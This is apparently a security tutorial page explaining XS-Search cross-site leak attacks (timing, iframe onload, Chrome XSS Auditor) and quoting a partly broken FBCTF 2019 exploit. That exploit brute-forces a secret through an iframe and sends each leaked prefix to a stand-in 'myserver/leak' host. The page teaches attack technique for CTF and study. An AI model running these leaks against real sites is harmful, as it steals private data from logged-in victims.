The best resource to learn XS-Search is https://xsleaks.dev/

XS-Search Time attack

Basically, you exploit a CSRF vulnerability to make a specific user access some information that the victim can access but you can't. Then, you check the time it take the request to be responded and depending on that you can know if the content was correctly accessed or not.

For example, imagine that the admin of a web page can access all the inside the webfiles service and you only can access yours, and you want to know the content of a file that starts with the string "flag".

There is a CSRF vulnerability in the seach by content function and you can make the admin visit any page. Then, you could make the admin visit a malicious web server (yours) that will exploit the CSRF and will make the victim search for the file that starts with "flag". The attacker will make a loop so it will make the victim search for every possibility in: flagX. Then, if a character took more time that the rest, you can asume that it was the correct one and you can start a new loop with "flag{X" until you get the flag.

That is the idea but in the real world you need queries that retrive content take much more time that the queries that doesn't return anything.

For more information you can read:

XS-Search - Iframe

Suppose that you can insert the page that has the secret content inside an Iframe.

You can make the victim search for the file that contains "flag" using an Iframe (exploiting a CSRF like in the prevous situation). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.

For example:

  1. URL1: www.attacker.com/xssearch#try1

  2. URL2: www.attacker.com/xssearch#try2

If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won't be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.

Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.

If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without meassuring the time.

Iframe Chrome XSS Auditor

Imagine the same situation as in the Timing attack method and you also know that the admin is using a Chrome browser (for example, Chrome-headless) with Chrome XSS Auditor.

Then, you can use iframes to make the victim search for the page containing "flagX" (beeing X any possible character)inside a loop, and you also add to the URL inside the iframes a fake parameter that contains javascript code that will only appear when a valid content is retrived.

For example, if when you search for the content "my file" the web server responds with a page that includes this javascript code:

<script>console.log("you found someting");</script>

If you send a query like:


The Chrome XSS Auditor will block the page and an error will appear.

Then, you can use Chrome XSS Auditor to launch an error when a valid response is sent from the victim server. Then, with the Iframe trick you can detect when you have find a file that contains "flag" and the next valid character.

For more information: https://www.youtube.com/watch?v=HcrQy0C-hEA

Abusing Chrome XSS Auditor to steal tokens

Using the previous technique (with Chrome XSS Auditor) you can steal chunks of the code returned to a user (like tokens for example). For more information: https://portswigger.net/blog/abusing-chromes-xss-auditor-to-steal-tokens

Please, notice that you will steal information returned to a user and not any code from the web server.

Custom Detection

In the fbcft2019 the challenge: secret note keeper was resolved exploiting a XS-Search.

You could make the administrator (a headlessChrome) visit any page and there was a CSRF vulnerable page that was able to search files by content. You also knew that the flag starts by fb{ and only the admin had access to it.

It was also important to notice that when you made a search, the results of the seach appeared inside an iframe (if something was found). And none iframe appeared if anything was found.

So, you could make the admin visit your exploit that will be a loop of every possible charater inside fb{X inside an iframe. And using:

contentWindow.frames.length != 0

You could check how many iframes where created inside your iframe, and if any, then the character would be correct and you could start extracting the next one.

This is a code example of this from: https://sectt.github.io/writeups/FBCTF19/secret_note_keeper/README

<!DOCTYPE html>

    <title>fbctf secret note keeper</title>

var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var x = document.createElement('iframe');

function search(leak, charCounter) {
    var curChar = chars[charCounter];
    //Chek if the character is valid
    x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
    console.log("leak = " + leak + curChar);
    //When the page inside the iframe is loaded
    x.onload = () => {
    //Check the number of iframes inside
        if (x.contentWindow.frames.length != 0) {
        // If 1 or more, then, the character was valid
            fetch('http://myserver/leak?' + escape(leak), {
                method: "POST",
                mode: "no-cors",
                credentials: "include"
            leak += curChar
        search(leak, (charCounter + 1) % chars.length);

function exploit() {
    search("fb{", 0);



More information


Last updated